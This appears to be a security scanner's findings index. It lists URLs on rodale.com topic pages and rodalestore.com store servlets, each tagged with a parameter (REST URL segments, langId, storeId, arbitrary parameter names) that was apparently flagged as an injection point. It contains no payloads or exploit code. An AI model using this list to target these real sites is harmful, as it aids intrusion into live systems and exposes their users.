http://www.rodale.com/topic/gluten-free-food [REST URL parameter 1]
http://www.rodale.com/topic/gluten-free-food [REST URL parameter 2]
http://www.rodale.com/topic/gluten-free-food [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/green-building [REST URL parameter 1]
http://www.rodale.com/topic/green-building [REST URL parameter 2]
http://www.rodale.com/topic/green-building [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/green-funerals [REST URL parameter 1]
http://www.rodale.com/topic/green-funerals [REST URL parameter 2]
http://www.rodale.com/topic/green-funerals [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/green-products-and-gifts [REST URL parameter 1]
http://www.rodale.com/topic/green-products-and-gifts [REST URL parameter 2]
http://www.rodale.com/topic/green-products-and-gifts [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/greenhouse-gases [REST URL parameter 1]
http://www.rodale.com/topic/greenhouse-gases [REST URL parameter 2]
http://www.rodale.com/topic/greenhouse-gases [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/greenwashing [REST URL parameter 1]
http://www.rodale.com/topic/greenwashing [REST URL parameter 2]
http://www.rodale.com/topic/greenwashing [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/grilling-tips [REST URL parameter 1]
http://www.rodale.com/topic/grilling-tips [REST URL parameter 2]
http://www.rodale.com/topic/grilling-tips [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/hair-care [REST URL parameter 1]
http://www.rodale.com/topic/hair-care [REST URL parameter 2]
http://www.rodale.com/topic/hair-care [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/happiness [REST URL parameter 1]
http://www.rodale.com/topic/happiness [REST URL parameter 2]
http://www.rodale.com/topic/happiness [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/headache [REST URL parameter 1]
http://www.rodale.com/topic/headache [REST URL parameter 2]
http://www.rodale.com/topic/headache [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/health-care-industry [REST URL parameter 1]
http://www.rodale.com/topic/health-care-industry [REST URL parameter 2]
http://www.rodale.com/topic/health-care-industry [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/health-care-reform [REST URL parameter 1]
http://www.rodale.com/topic/health-care-reform [REST URL parameter 2]
http://www.rodale.com/topic/health-care-reform [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/health-care-reform-0 [REST URL parameter 1]
http://www.rodale.com/topic/health-care-reform-0 [REST URL parameter 2]
http://www.rodale.com/topic/health-care-reform-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/health-insurance [REST URL parameter 1]
http://www.rodale.com/topic/health-insurance [REST URL parameter 2]
http://www.rodale.com/topic/health-insurance [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/healthy-home-0 [REST URL parameter 1]
http://www.rodale.com/topic/healthy-home-0 [REST URL parameter 2]
http://www.rodale.com/topic/healthy-home-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/healthy-monday [REST URL parameter 1]
http://www.rodale.com/topic/healthy-monday [REST URL parameter 2]
http://www.rodale.com/topic/healthy-monday [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/heart-health [REST URL parameter 1]
http://www.rodale.com/topic/heart-health [REST URL parameter 2]
http://www.rodale.com/topic/heart-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/herbs [REST URL parameter 1]
http://www.rodale.com/topic/herbs [REST URL parameter 2]
http://www.rodale.com/topic/herbs [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/holiday-tips [REST URL parameter 1]
http://www.rodale.com/topic/holiday-tips [REST URL parameter 2]
http://www.rodale.com/topic/holiday-tips [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/home-remedies [REST URL parameter 1]
http://www.rodale.com/topic/home-remedies [REST URL parameter 2]
http://www.rodale.com/topic/home-remedies [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/home-safety [REST URL parameter 1]
http://www.rodale.com/topic/home-safety [REST URL parameter 2]
http://www.rodale.com/topic/home-safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/homemade-cleaners [REST URL parameter 1]
http://www.rodale.com/topic/homemade-cleaners [REST URL parameter 2]
http://www.rodale.com/topic/homemade-cleaners [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/honey [REST URL parameter 1]
http://www.rodale.com/topic/honey [REST URL parameter 2]
http://www.rodale.com/topic/honey [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/hormone-disruption [REST URL parameter 1]
http://www.rodale.com/topic/hormone-disruption [REST URL parameter 2]
http://www.rodale.com/topic/hormone-disruption [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/hospitals [REST URL parameter 1]
http://www.rodale.com/topic/hospitals [REST URL parameter 2]
http://www.rodale.com/topic/hospitals [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/household-chemicals [REST URL parameter 1]
http://www.rodale.com/topic/household-chemicals [REST URL parameter 2]
http://www.rodale.com/topic/household-chemicals [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/hybrid-cars [REST URL parameter 1]
http://www.rodale.com/topic/hybrid-cars [REST URL parameter 2]
http://www.rodale.com/topic/hybrid-cars [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/ibs-irritable-bowel-syndrome [REST URL parameter 1]
http://www.rodale.com/topic/ibs-irritable-bowel-syndrome [REST URL parameter 2]
http://www.rodale.com/topic/ibs-irritable-bowel-syndrome [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/immunity [REST URL parameter 1]
http://www.rodale.com/topic/immunity [REST URL parameter 2]
http://www.rodale.com/topic/immunity [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/indoor-air-quality [REST URL parameter 1]
http://www.rodale.com/topic/indoor-air-quality [REST URL parameter 2]
http://www.rodale.com/topic/indoor-air-quality [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/indoor-pest-control [REST URL parameter 1]
http://www.rodale.com/topic/indoor-pest-control [REST URL parameter 2]
http://www.rodale.com/topic/indoor-pest-control [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/infection [REST URL parameter 1]
http://www.rodale.com/topic/infection [REST URL parameter 2]
http://www.rodale.com/topic/infection [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/insect-repellent [REST URL parameter 1]
http://www.rodale.com/topic/insect-repellent [REST URL parameter 2]
http://www.rodale.com/topic/insect-repellent [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/laundry [REST URL parameter 1]
http://www.rodale.com/topic/laundry [REST URL parameter 2]
http://www.rodale.com/topic/laundry [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/lawn-care-0 [REST URL parameter 1]
http://www.rodale.com/topic/lawn-care-0 [REST URL parameter 2]
http://www.rodale.com/topic/lawn-care-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/lead [REST URL parameter 1]
http://www.rodale.com/topic/lead [REST URL parameter 2]
http://www.rodale.com/topic/lead [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/lets-move [REST URL parameter 1]
http://www.rodale.com/topic/lets-move [REST URL parameter 2]
http://www.rodale.com/topic/lets-move [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/low-carb-diets [REST URL parameter 1]
http://www.rodale.com/topic/low-carb-diets [REST URL parameter 2]
http://www.rodale.com/topic/low-carb-diets [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/lungs-and-respiratory-health [REST URL parameter 1]
http://www.rodale.com/topic/lungs-and-respiratory-health [REST URL parameter 2]
http://www.rodale.com/topic/lungs-and-respiratory-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/lyme-disease-0 [REST URL parameter 1]
http://www.rodale.com/topic/lyme-disease-0 [REST URL parameter 2]
http://www.rodale.com/topic/lyme-disease-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/mammograms [REST URL parameter 1]
http://www.rodale.com/topic/mammograms [REST URL parameter 2]
http://www.rodale.com/topic/mammograms [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/maria-rodale [REST URL parameter 1]
http://www.rodale.com/topic/maria-rodale [REST URL parameter 2]
http://www.rodale.com/topic/maria-rodale [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/massage [REST URL parameter 1]
http://www.rodale.com/topic/massage [REST URL parameter 2]
http://www.rodale.com/topic/massage [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/meat [REST URL parameter 1]
http://www.rodale.com/topic/meat [REST URL parameter 2]
http://www.rodale.com/topic/meat [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/medical-tests [REST URL parameter 1]
http://www.rodale.com/topic/medical-tests [REST URL parameter 2]
http://www.rodale.com/topic/medical-tests [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/mediterranean-diet [REST URL parameter 1]
http://www.rodale.com/topic/mediterranean-diet [REST URL parameter 2]
http://www.rodale.com/topic/mediterranean-diet [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/memory [REST URL parameter 1]
http://www.rodale.com/topic/memory [REST URL parameter 2]
http://www.rodale.com/topic/memory [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/menopause [REST URL parameter 1]
http://www.rodale.com/topic/menopause [REST URL parameter 2]
http://www.rodale.com/topic/menopause [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/mens-health [REST URL parameter 1]
http://www.rodale.com/topic/mens-health [REST URL parameter 2]
http://www.rodale.com/topic/mens-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/mental-health [REST URL parameter 1]
http://www.rodale.com/topic/mental-health [REST URL parameter 2]
http://www.rodale.com/topic/mental-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/mercury [REST URL parameter 1]
http://www.rodale.com/topic/mercury [REST URL parameter 2]
http://www.rodale.com/topic/mercury [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/milk-0 [REST URL parameter 1]
http://www.rodale.com/topic/milk-0 [REST URL parameter 2]
http://www.rodale.com/topic/milk-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/mind-body-mood-advisor [REST URL parameter 1]
http://www.rodale.com/topic/mind-body-mood-advisor [REST URL parameter 2]
http://www.rodale.com/topic/mind-body-mood-advisor [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/mindfulness-0 [REST URL parameter 1]
http://www.rodale.com/topic/mindfulness-0 [REST URL parameter 2]
http://www.rodale.com/topic/mindfulness-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/mosquitoes [REST URL parameter 1]
http://www.rodale.com/topic/mosquitoes [REST URL parameter 2]
http://www.rodale.com/topic/mosquitoes [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/natural-products-expo [REST URL parameter 1]
http://www.rodale.com/topic/natural-products-expo [REST URL parameter 2]
http://www.rodale.com/topic/natural-products-expo [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/nickel-pincher [REST URL parameter 1]
http://www.rodale.com/topic/nickel-pincher [REST URL parameter 2]
http://www.rodale.com/topic/nickel-pincher [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/nutrition [REST URL parameter 1]
http://www.rodale.com/topic/nutrition [REST URL parameter 2]
http://www.rodale.com/topic/nutrition [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/obesity [REST URL parameter 1]
http://www.rodale.com/topic/obesity [REST URL parameter 2]
http://www.rodale.com/topic/obesity [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/omega-3-fatty-acids [REST URL parameter 1]
http://www.rodale.com/topic/omega-3-fatty-acids [REST URL parameter 2]
http://www.rodale.com/topic/omega-3-fatty-acids [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/or [REST URL parameter 1]
http://www.rodale.com/topic/or [REST URL parameter 2]
http://www.rodale.com/topic/or [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/organic [REST URL parameter 1]
http://www.rodale.com/topic/organic [REST URL parameter 2]
http://www.rodale.com/topic/organic [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/organic-farming [REST URL parameter 1]
http://www.rodale.com/topic/organic-farming [REST URL parameter 2]
http://www.rodale.com/topic/organic-farming [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/organic-food [REST URL parameter 1]
http://www.rodale.com/topic/organic-food [REST URL parameter 2]
http://www.rodale.com/topic/organic-food [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/organic-gardening [REST URL parameter 1]
http://www.rodale.com/topic/organic-gardening [REST URL parameter 2]
http://www.rodale.com/topic/organic-gardening [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/oudoor-living [REST URL parameter 1]
http://www.rodale.com/topic/oudoor-living [REST URL parameter 2]
http://www.rodale.com/topic/oudoor-living [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/outdoor-living [REST URL parameter 1]
http://www.rodale.com/topic/outdoor-living [REST URL parameter 2]
http://www.rodale.com/topic/outdoor-living [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/outdoor-safety [REST URL parameter 1]
http://www.rodale.com/topic/outdoor-safety [REST URL parameter 2]
http://www.rodale.com/topic/outdoor-safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/over-counter-drugs [REST URL parameter 1]
http://www.rodale.com/topic/over-counter-drugs [REST URL parameter 2]
http://www.rodale.com/topic/over-counter-drugs [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/over-counter-drugs-0 [REST URL parameter 1]
http://www.rodale.com/topic/over-counter-drugs-0 [REST URL parameter 2]
http://www.rodale.com/topic/over-counter-drugs-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/overeating [REST URL parameter 1]
http://www.rodale.com/topic/overeating [REST URL parameter 2]
http://www.rodale.com/topic/overeating [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/pain-management [REST URL parameter 1]
http://www.rodale.com/topic/pain-management [REST URL parameter 2]
http://www.rodale.com/topic/pain-management [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/parenting [REST URL parameter 1]
http://www.rodale.com/topic/parenting [REST URL parameter 2]
http://www.rodale.com/topic/parenting [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/parkinsons-disease [REST URL parameter 1]
http://www.rodale.com/topic/parkinsons-disease [REST URL parameter 2]
http://www.rodale.com/topic/parkinsons-disease [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/personal-care-products [REST URL parameter 1]
http://www.rodale.com/topic/personal-care-products [REST URL parameter 2]
http://www.rodale.com/topic/personal-care-products [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/personal-care-products-0 [REST URL parameter 1]
http://www.rodale.com/topic/personal-care-products-0 [REST URL parameter 2]
http://www.rodale.com/topic/personal-care-products-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/pesticides [REST URL parameter 1]
http://www.rodale.com/topic/pesticides [REST URL parameter 2]
http://www.rodale.com/topic/pesticides [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/pet-care [REST URL parameter 1]
http://www.rodale.com/topic/pet-care [REST URL parameter 2]
http://www.rodale.com/topic/pet-care [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/phthalates [REST URL parameter 1]
http://www.rodale.com/topic/phthalates [REST URL parameter 2]
http://www.rodale.com/topic/phthalates [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/policy-watch [REST URL parameter 1]
http://www.rodale.com/topic/policy-watch [REST URL parameter 2]
http://www.rodale.com/topic/policy-watch [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/positive-psychology [REST URL parameter 1]
http://www.rodale.com/topic/positive-psychology [REST URL parameter 2]
http://www.rodale.com/topic/positive-psychology [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/posture [REST URL parameter 1]
http://www.rodale.com/topic/posture [REST URL parameter 2]
http://www.rodale.com/topic/posture [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/pregnancy-0 [REST URL parameter 1]
http://www.rodale.com/topic/pregnancy-0 [REST URL parameter 2]
http://www.rodale.com/topic/pregnancy-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/prescription-drugs [REST URL parameter 1]
http://www.rodale.com/topic/prescription-drugs [REST URL parameter 2]
http://www.rodale.com/topic/prescription-drugs [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/prostate-cancer [REST URL parameter 1]
http://www.rodale.com/topic/prostate-cancer [REST URL parameter 2]
http://www.rodale.com/topic/prostate-cancer [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/radiation [REST URL parameter 1]
http://www.rodale.com/topic/radiation [REST URL parameter 2]
http://www.rodale.com/topic/radiation [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/recieps [REST URL parameter 1]
http://www.rodale.com/topic/recieps [REST URL parameter 2]
http://www.rodale.com/topic/recieps [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/recipes [REST URL parameter 1]
http://www.rodale.com/topic/recipes [REST URL parameter 2]
http://www.rodale.com/topic/recipes [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/recycling-and-precycling-0 [REST URL parameter 1]
http://www.rodale.com/topic/recycling-and-precycling-0 [REST URL parameter 2]
http://www.rodale.com/topic/recycling-and-precycling-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/relationships [REST URL parameter 1]
http://www.rodale.com/topic/relationships [REST URL parameter 2]
http://www.rodale.com/topic/relationships [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/resilience-0 [REST URL parameter 1]
http://www.rodale.com/topic/resilience-0 [REST URL parameter 2]
http://www.rodale.com/topic/resilience-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/restaurant-dining [REST URL parameter 1]
http://www.rodale.com/topic/restaurant-dining [REST URL parameter 2]
http://www.rodale.com/topic/restaurant-dining [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/running [REST URL parameter 1]
http://www.rodale.com/topic/running [REST URL parameter 2]
http://www.rodale.com/topic/running [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/salt [REST URL parameter 1]
http://www.rodale.com/topic/salt [REST URL parameter 2]
http://www.rodale.com/topic/salt [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/sexual-health [REST URL parameter 1]
http://www.rodale.com/topic/sexual-health [REST URL parameter 2]
http://www.rodale.com/topic/sexual-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/skin-cancer [REST URL parameter 1]
http://www.rodale.com/topic/skin-cancer [REST URL parameter 2]
http://www.rodale.com/topic/skin-cancer [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/skin-care [REST URL parameter 1]
http://www.rodale.com/topic/skin-care [REST URL parameter 2]
http://www.rodale.com/topic/skin-care [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/sleep [REST URL parameter 1]
http://www.rodale.com/topic/sleep [REST URL parameter 2]
http://www.rodale.com/topic/sleep [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/small-space-and-urban-gardening [REST URL parameter 1]
http://www.rodale.com/topic/small-space-and-urban-gardening [REST URL parameter 2]
http://www.rodale.com/topic/small-space-and-urban-gardening [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/smoking [REST URL parameter 1]
http://www.rodale.com/topic/smoking [REST URL parameter 2]
http://www.rodale.com/topic/smoking [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/social-support [REST URL parameter 1]
http://www.rodale.com/topic/social-support [REST URL parameter 2]
http://www.rodale.com/topic/social-support [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/solar-energy [REST URL parameter 1]
http://www.rodale.com/topic/solar-energy [REST URL parameter 2]
http://www.rodale.com/topic/solar-energy [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/spirituality [REST URL parameter 1]
http://www.rodale.com/topic/spirituality [REST URL parameter 2]
http://www.rodale.com/topic/spirituality [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/stress [REST URL parameter 1]
http://www.rodale.com/topic/stress [REST URL parameter 2]
http://www.rodale.com/topic/stress [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/stroke [REST URL parameter 1]
http://www.rodale.com/topic/stroke [REST URL parameter 2]
http://www.rodale.com/topic/stroke [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/substance-abuse [REST URL parameter 1]
http://www.rodale.com/topic/substance-abuse [REST URL parameter 2]
http://www.rodale.com/topic/substance-abuse [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/sugar-tax [REST URL parameter 1]
http://www.rodale.com/topic/sugar-tax [REST URL parameter 2]
http://www.rodale.com/topic/sugar-tax [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/summer-safety [REST URL parameter 1]
http://www.rodale.com/topic/summer-safety [REST URL parameter 2]
http://www.rodale.com/topic/summer-safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/sun-safety [REST URL parameter 1]
http://www.rodale.com/topic/sun-safety [REST URL parameter 2]
http://www.rodale.com/topic/sun-safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/sunscreen-0 [REST URL parameter 1]
http://www.rodale.com/topic/sunscreen-0 [REST URL parameter 2]
http://www.rodale.com/topic/sunscreen-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/swine-flu-h1n1-0 [REST URL parameter 1]
http://www.rodale.com/topic/swine-flu-h1n1-0 [REST URL parameter 2]
http://www.rodale.com/topic/swine-flu-h1n1-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/tai-chi [REST URL parameter 1]
http://www.rodale.com/topic/tai-chi [REST URL parameter 2]
http://www.rodale.com/topic/tai-chi [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/toys [REST URL parameter 1]
http://www.rodale.com/topic/toys [REST URL parameter 2]
http://www.rodale.com/topic/toys [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/trans-fatty-acids [REST URL parameter 1]
http://www.rodale.com/topic/trans-fatty-acids [REST URL parameter 2]
http://www.rodale.com/topic/trans-fatty-acids [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/transportation-alternatives [REST URL parameter 1]
http://www.rodale.com/topic/transportation-alternatives [REST URL parameter 2]
http://www.rodale.com/topic/transportation-alternatives [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/travel-tips-and-safety [REST URL parameter 1]
http://www.rodale.com/topic/travel-tips-and-safety [REST URL parameter 2]
http://www.rodale.com/topic/travel-tips-and-safety [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/vaccines [REST URL parameter 1]
http://www.rodale.com/topic/vaccines [REST URL parameter 2]
http://www.rodale.com/topic/vaccines [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/vegetarian-diet [REST URL parameter 1]
http://www.rodale.com/topic/vegetarian-diet [REST URL parameter 2]
http://www.rodale.com/topic/vegetarian-diet [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/vitamins-minerals-and-supplements [REST URL parameter 1]
http://www.rodale.com/topic/vitamins-minerals-and-supplements [REST URL parameter 2]
http://www.rodale.com/topic/vitamins-minerals-and-supplements [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/volunteering [REST URL parameter 1]
http://www.rodale.com/topic/volunteering [REST URL parameter 2]
http://www.rodale.com/topic/volunteering [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/walking-and-hiking [REST URL parameter 1]
http://www.rodale.com/topic/walking-and-hiking [REST URL parameter 2]
http://www.rodale.com/topic/walking-and-hiking [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/water-conservation [REST URL parameter 1]
http://www.rodale.com/topic/water-conservation [REST URL parameter 2]
http://www.rodale.com/topic/water-conservation [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/water-pollution-0 [REST URL parameter 1]
http://www.rodale.com/topic/water-pollution-0 [REST URL parameter 2]
http://www.rodale.com/topic/water-pollution-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/weight-loss [REST URL parameter 1]
http://www.rodale.com/topic/weight-loss [REST URL parameter 2]
http://www.rodale.com/topic/weight-loss [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/wildlife [REST URL parameter 1]
http://www.rodale.com/topic/wildlife [REST URL parameter 2]
http://www.rodale.com/topic/wildlife [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/wind-power [REST URL parameter 1]
http://www.rodale.com/topic/wind-power [REST URL parameter 2]
http://www.rodale.com/topic/wind-power [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/womens-health [REST URL parameter 1]
http://www.rodale.com/topic/womens-health [REST URL parameter 2]
http://www.rodale.com/topic/womens-health [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/work [REST URL parameter 1]
http://www.rodale.com/topic/work [REST URL parameter 2]
http://www.rodale.com/topic/work [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topic/yoga-0 [REST URL parameter 1]
http://www.rodale.com/topic/yoga-0 [REST URL parameter 2]
http://www.rodale.com/topic/yoga-0 [name of an arbitrarily supplied request parameter]
http://www.rodale.com/topics [REST URL parameter 1]
http://www.rodale.com/topics [name of an arbitrarily supplied request parameter]
http://www.rodale.com/video [REST URL parameter 1]
http://www.rodale.com/video [name of an arbitrarily supplied request parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [REST URL parameter 5]
http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [catalogId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/AdvancedSearchView [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [REST URL parameter 5]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [mag parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [parent_category_rn parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [parent_category_rn parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/CategoryDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [REST URL parameter 5]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [REST URL parameter 5]
http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [catalogId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [mag parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [mag parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [REST URL parameter 5]
http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/InterestItemDisplay [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [REST URL parameter 5]
http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/LogonForm [storeId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [REST URL parameter 5]
http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [langId parameter]
http://www.rodalestore.com/webapp/wcs/stores/servlet/OrderItemDisplay [langId parameter]
